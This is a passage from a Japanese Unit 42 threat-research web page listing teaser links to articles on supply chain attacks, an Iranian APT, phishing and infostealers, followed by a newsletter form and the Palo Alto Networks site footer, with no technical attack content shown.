[GitHub](https://unit42.paloaltonetworks.com/ja/tag/github-ja/ "GitHub") * [Npm packages](https://unit42.paloaltonetworks.com/ja/tag/npm-packages/ "npm packages") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/monitoring-npm-supply-chain-attacks/ "npmの脅威の状況: アタックサーフェスと緩和策(6月2日更新)") ![Pictorial representation of Screening Serpens. An illustrated blue snake is highlighted by a red circle against a night sky. The constellation serpens.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/05/Serpens-Iran-A-1920x900-2-786x368.png) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/threat-actor-groups.svg)脅威アクター グループ](https://unit42.paloaltonetworks.com/ja/category/threat-actor-groups-ja/) 2026年5月22日 [#### イランAPT Screening Serpensによる2026年スパイ キャンペーンの追跡](https://unit42.paloaltonetworks.com/ja/tracking-iran-apt-screening-serpens/) * [Advanced Persistent Threat](https://unit42.paloaltonetworks.com/ja/tag/advanced-persistent-threat-ja/ "Advanced Persistent Threat") * [AppDomainManager](https://unit42.paloaltonetworks.com/ja/tag/appdomainmanager/ "AppDomainManager") * [DLL Sideloading](https://unit42.paloaltonetworks.com/ja/tag/dll-sideloading-ja/ "DLL Sideloading") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/tracking-iran-apt-screening-serpens/ "イランAPT Screening Serpensによる2026年スパイ キャンペーンの追跡") ![Pictorial representation of Iran cyber attacks. Close-up of a person wearing glasses, with computer code reflected in the lenses.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/12_Security-Technology_Category_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年4月17日 [#### 脅威情報: 2026年イランに関するサイバー リスクの激化(4月17日更新)](https://unit42.paloaltonetworks.com/ja/iranian-cyberattacks-2026/) * [APK](https://unit42.paloaltonetworks.com/ja/tag/apk-ja/ "APK") * [DDoS attacks](https://unit42.paloaltonetworks.com/ja/tag/ddos-attacks-ja/ "DDoS attacks") * [GenAI](https://unit42.paloaltonetworks.com/ja/tag/genai-ja/ "GenAI") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/iranian-cyberattacks-2026/ "脅威情報: 2026年イランに関するサイバー リスクの激化(4月17日更新)") ![Pictorial representation of the supply chain attack compromising Axios. A giant eye made of glowing binary code.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/04/02_Security-Technology_Category_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年4月1日 [#### 脅威概要:Axiosサプライ チェーン攻撃で広範に及ぶ影響](https://unit42.paloaltonetworks.com/ja/axios-supply-chain-attack/) * [API attacks](https://unit42.paloaltonetworks.com/ja/tag/api-attacks-ja/ "API attacks") * [JavaScript](https://unit42.paloaltonetworks.com/ja/tag/javascript-ja/ "JavaScript") * [Powershell](https://unit42.paloaltonetworks.com/ja/tag/powershell-ja/ "Powershell") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/axios-supply-chain-attack/ "脅威概要:Axiosサプライ チェーン攻撃で広範に及ぶ影響") ![Pictorial representation of TeamPCP. Glowing code on a screen where several word such as Crime, Hackers, and Security are highlighted in a contrasting color.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/03_Cybercrime_Category_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年3月31日 [#### プロテクターを武器として利用する:セキュリティ インフラにおけるTeamPCPの多段階サプライ チェーン攻撃](https://unit42.paloaltonetworks.com/ja/teampcp-supply-chain-attacks/) * [CVE-2025-55182](https://unit42.paloaltonetworks.com/ja/tag/cve-2025-55182-ja/ "CVE-2025-55182") * [GitHub](https://unit42.paloaltonetworks.com/ja/tag/github-ja/ "GitHub") * [Infostealer](https://unit42.paloaltonetworks.com/ja/tag/infostealer-ja/ "Infostealer") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/teampcp-supply-chain-attacks/ "プロテクターを武器として利用する:セキュリティ インフラにおけるTeamPCPの多段階サプライ チェーン攻撃") ![Pictorial representation of phishing campaign. A blurred image focusing on a person typing on a laptop with lines of code visible on the screen, illuminated in blue and red lights, suggestive of intense coding or cyber activities.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/06_Malware_Category_1920x900-3-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) 2026年3月24日 [#### 脅威情報: パロアルトネットワークスの人材獲得チームになりすました採用スキーム](https://unit42.paloaltonetworks.com/ja/phishing-attackers-pose-as-panw-recruiters/) * [Email scam](https://unit42.paloaltonetworks.com/ja/tag/email-scam/ "email scam") * [Lure](https://unit42.paloaltonetworks.com/ja/tag/lure/ "lure") * [Phishing](https://unit42.paloaltonetworks.com/ja/tag/phishing-ja/ "phishing") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/phishing-attackers-pose-as-panw-recruiters/ "脅威情報: パロアルトネットワークスの人材獲得チームになりすました採用スキーム") ![Pictorial representation of Notepad++ supply chain compromise. A digital rendering of Earth from space, focusing on North and South America. The continents are illuminated in blue, with red lines and dots indicating data connections across various locations. Dark background highlights the vibrant network representation.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/02/11_Security-Technology_Category_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年2月11日 [#### 国家支援型の脅威アクターがNotepad++のサプライチェーンを悪用](https://unit42.paloaltonetworks.com/ja/notepad-infrastructure-compromise/) * [Backdoor](https://unit42.paloaltonetworks.com/ja/tag/backdoor-ja/ "backdoor") * [Cobalt Strike](https://unit42.paloaltonetworks.com/ja/tag/cobalt-strike-ja/ "Cobalt Strike") * [DLL Sideloading](https://unit42.paloaltonetworks.com/ja/tag/dll-sideloading-ja/ "DLL Sideloading") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/notepad-infrastructure-compromise/ "国家支援型の脅威アクターがNotepad++のサプライチェーンを悪用") ![Pictorial representation of runtime assembly attacks. Digital artwork of a glowing, futuristic shield disintegrating into small particles, set against a dark blue, bokeh-effect background.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/01/09_Business_email_compromise_Category_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) 2026年1月22日 [#### ランタイムアセンブリ攻撃の新たなフロンティア：LLMを活用したフィッシング用JavaScriptのリアルタイム生成](https://unit42.paloaltonetworks.com/ja/real-time-malicious-javascript-through-llms/) * [API](https://unit42.paloaltonetworks.com/ja/tag/api-ja/ "API") * [Google](https://unit42.paloaltonetworks.com/ja/tag/google-ja/ "Google") * [JavaScript](https://unit42.paloaltonetworks.com/ja/tag/javascript-ja/ "JavaScript") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/real-time-malicious-javascript-through-llms/ "ランタイムアセンブリ攻撃の新たなフロンティア：LLMを活用したフィッシング用JavaScriptのリアルタイム生成") ![Pictorial representation of SLOW#TEMPEST campaign. Digital artwork depicting a malware alert symbol on a computer screen, with background of blurred programming code in blue and red colors.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/07/07_Malware_Category_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) 2026年1月2日 [#### Pyarmorを利用して難読化と検知回避を行うVVS Discord Stealer](https://unit42.paloaltonetworks.com/ja/vvs-stealer/) * [Discord](https://unit42.paloaltonetworks.com/ja/tag/discord/ "Discord") * [Infostealer](https://unit42.paloaltonetworks.com/ja/tag/infostealer-ja/ "Infostealer") * [Python](https://unit42.paloaltonetworks.com/ja/tag/python-ja/ "Python") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/vvs-stealer/ "Pyarmorを利用して難読化と検知回避を行うVVS Discord Stealer") * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ![Enlarged Image]() ![Newsletter](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/04/Unit-42_get-updates-banner.png) ![UNIT 42 Small Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/palo-alto-logo-small.svg) Unit 42 からの最新情報を取得 ## 進化する脅威の状況を常に先取り メール アドレス 本フォームを送信することにより、[利用規約](https://www.paloaltonetworks.jp/legal-notices/terms-of-use)に同意し、[プライバシー ポリシー](https://www.paloaltonetworks.jp/legal-notices/privacy)を承認したことになります。 本サイトは reCAPTCHA で保護されており、Googleの[プライバシー ポリシー](https://policies.google.com/privacy) と[サービス利用規約](https://policies.google.com/terms)が適用されます。 Invalid captcha! サブスクライブ ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg) ![loader](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-loader.svg) {#footer} 製品とサービス * [AI利用ネットワーク セキュリティ プラットフォーム](https://www.paloaltonetworks.jp/network-security) * [AIのセキュア バイ デザイン](https://www.paloaltonetworks.jp/precision-ai-security/secure-ai-by-design) * [Prisma AIRS](https://www.paloaltonetworks.jp/prisma/prisma-ai-runtime-security) * [AI Access Security](https://www.paloaltonetworks.jp/sase/ai-access-security) * [クラウド提供型セキュリティ サービス](https://www.paloaltonetworks.jp/network-security/security-subscriptions) * [Advanced Threat Prevention](https://www.paloaltonetworks.jp/network-security/advanced-threat-prevention) * [Advanced URL Filtering](https://www.paloaltonetworks.jp/network-security/advanced-url-filtering) * [Advanced WildFire](https://www.paloaltonetworks.jp/network-security/advanced-wildfire) * [Advanced DNS Security](https://www.paloaltonetworks.jp/network-security/advanced-dns-security) * [Enterprise Data Loss Prevention](https://www.paloaltonetworks.jp/sase/enterprise-data-loss-prevention) * [Enterprise IoT Security](https://www.paloaltonetworks.jp/content/pan/ja_JP/network-security/enterprise-iot-security) * [Medical IoT Security](https://www.paloaltonetworks.jp/network-security/medical-device-security) * [Industrial OT Security](https://www.paloaltonetworks.jp/content/pan/ja_JP/network-security/industrial-ot-security) * [SaaS Security](https://www.paloaltonetworks.jp/sase/saas-security) * [次世代ファイアウォール](https://www.paloaltonetworks.jp/network-security/next-generation-firewall) * [ハードウェア ファイアウォール](https://www.paloaltonetworks.jp/network-security/hardware-firewall-innovations) * [ソフトウェア ファイアウォール](https://www.paloaltonetworks.jp/network-security/software-firewalls) * [Strata Cloud Manager](https://www.paloaltonetworks.jp/network-security/strata-cloud-manager) * [SD-WAN for NGFW](https://www.paloaltonetworks.jp/network-security/sd-wan-subscription) * [PAN-OS](https://www.paloaltonetworks.jp/network-security/pan-os) * [Panorama](https://www.paloaltonetworks.jp/network-security/panorama) * [セキュア アクセス サービス エッジ](https://www.paloaltonetworks.jp/sase) * [Prisma SASE](https://www.paloaltonetworks.jp/sase) * [App Acceleration](https://www.paloaltonetworks.jp/sase/app-acceleration) * [自律型デジタルエクスペリエンス管理](https://www.paloaltonetworks.jp/sase/adem) * [Enterprise DLP](https://www.paloaltonetworks.jp/sase/enterprise-data-loss-prevention) * [Prisma Access](https://www.paloaltonetworks.jp/sase/access) * [Prisma Browser](https://www.paloaltonetworks.jp/sase/prisma-browser) * [Prisma SD-WAN](https://www.paloaltonetworks.jp/sase/sd-wan) * [リモート ブラウザ分離](https://www.paloaltonetworks.jp/sase/remote-browser-isolation) * [SaaS Security](https://www.paloaltonetworks.jp/sase/saas-security) * [AI駆動型セキュリティ運用プラットフォーム](https://www.paloaltonetworks.jp/cortex) * [Cloud Security](https://www.paloaltonetworks.jp/cortex/cloud) * [Cortex Cloud](https://www.paloaltonetworks.jp/cortex/cloud) * [Application Security](https://www.paloaltonetworks.jp/cortex/cloud/application-security) * [Cloud Posture Security](https://www.paloaltonetworks.jp/cortex/cloud/cloud-posture-security) * [Cloud Runtime Security](https://www.paloaltonetworks.jp/cortex/cloud/runtime-security) * [Prisma Cloud](https://www.paloaltonetworks.jp/prisma/cloud) * [AI駆動型SOC](https://www.paloaltonetworks.jp/cortex) * [Cortex XSIAM](https://www.paloaltonetworks.jp/cortex/cortex-xsiam) * [Cortex XDR](https://www.paloaltonetworks.jp/cortex/cortex-xdr) * [Cortex XSOAR](https://www.paloaltonetworks.jp/cortex/cortex-xsoar) * [Cortex Xpanse](https://www.paloaltonetworks.jp/cortex/cortex-xpanse) * [Unit 42マネージド ディテクション\&レスポンス](https://www.paloaltonetworks.jp/cortex/managed-detection-and-response) * [マネージドXSIAM](https://www.paloaltonetworks.jp/cortex/managed-xsiam) * [次世代のアイデンティティ セキュリティ](https://www.paloaltonetworks.jp/idira) * [特権アクセス管理](https://www.paloaltonetworks.jp/idira/human/privileged-access-management) * [アイデンティティ管理とアクセス管理](https://www.paloaltonetworks.jp/idira/human/identity-and-access-management) * [Endpoint Privilege Manager](https://www.paloaltonetworks.jp/idira/human/endpoint-privilege-manager) * [アイデンティティ ガバナンス](https://www.paloaltonetworks.jp/idira/human/identity-governance) * [従業員パスワード管理](https://www.paloaltonetworks.jp/idira/human/workforce-password-management) * [エージェンティック アイデンティティ](https://www.paloaltonetworks.jp/idira/agentic) * [シークレット管理](https://www.paloaltonetworks.jp/idira/machine/secrets-management) * [統合型シークレット ガバナンス](https://www.paloaltonetworks.jp/idira/machine/unified-secrets-governance) * [アプリケーションの認証情報配信](https://www.paloaltonetworks.jp/idira/machine/application-credentials-delivery) * [ベンダーの特権アクセス](https://www.paloaltonetworks.jp/idira/human/vendor-privileged-access) * [脅威インテリジェンス\&インシデント レスポンス サービス](https://www.paloaltonetworks.jp/unit42) * [予防評価](https://www.paloaltonetworks.jp/unit42/assess) * [インシデント レスポンス](https://www.paloaltonetworks.jp/unit42/respond) * [セキュリティ戦略を変革](https://www.paloaltonetworks.jp/unit42/transform) * [脅威インテリジェンスについて](https://www.paloaltonetworks.jp/unit42/threat-intelligence-partners) 会社名 * [パロアルトネットワークスについて](https://www.paloaltonetworks.jp/about-us) * [採用情報](https://jobs.paloaltonetworks.com/en/) * [お問合せ](https://www.paloaltonetworks.jp/company/contact-sales) * [企業責任](https://www.paloaltonetworks.com/about-us/corporate-responsibility) * [お客様向け](https://www.paloaltonetworks.jp/customers) * [IR](https://investors.paloaltonetworks.com/) * [拠点](https://www.paloaltonetworks.com/about-us/locations) * [ニュースルーム](https://www.paloaltonetworks.jp/company/newsroom) 人気のあるリンク * [ブログ](https://www.paloaltonetworks.com/blog/?lang=ja) * [コミュニティ](https://www.paloaltonetworks.com/communities) * [コンテンツライブラリ](https://www.paloaltonetworks.jp/resources) * [Cyberpedia](https://www.paloaltonetworks.jp/cyberpedia) * [イベントセンター](https://events.paloaltonetworks.com/) * [電子メール設定の管理](https://start.paloaltonetworks.com/preference-center) * [製品A〜Z](https://www.paloaltonetworks.jp/products/products-a-z) * [製品認証](https://www.paloaltonetworks.com/legal-notices/trust-center/compliance) * [脆弱性の報告](https://www.paloaltonetworks.com/security-disclosure) * [サイトマップ](https://www.paloaltonetworks.jp/sitemap) * [テクニカル ドキュメント](https://docs.paloaltonetworks.com/) * [Unit 42](https://unit42.paloaltonetworks.jp/) * [個人情報の販売および共有禁止](https://panwedd.exterro.net/portal/dsar.htm?target=panwedd) ![Palo Alto Networks Logo](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/pan-logo-dark.svg) * [プライバシー](https://www.paloaltonetworks.jp/legal-notices/privacy) * [トラスト センター](https://www.paloaltonetworks.jp/legal-notices/trust-center) * [利用規約](https://www.paloaltonetworks.jp/legal-notices/terms-of-use) * [ドキュメント](https://www.paloaltonetworks.jp/legal-notices) Copyright © 2026 Palo Alto Networks. All Rights Reserved * [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/youtube-black.svg)](https://www.youtube.com/user/paloaltonetworks) * [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/twitter-x-black.svg)](https://twitter.com/PaloAltoNtwks) * [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/facebook-black.svg)](https://www.facebook.com/PaloAltoNetworks/) * [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/linkedin-black.svg)](https://www.linkedin.com/company/palo-alto-networks) * [![](https://www.paloaltonetworks.jp/content/dam/pan/en_US/images/icons/podcast.svg)](https://unit42.paloaltonetworks.com/unit-42-threat-vector-podcast/) * JP Select your language ![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg) ![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ### Default Heading Read the article ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg) Seekbar ![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg) ![Volume](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-volume.svg) Volume ![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg)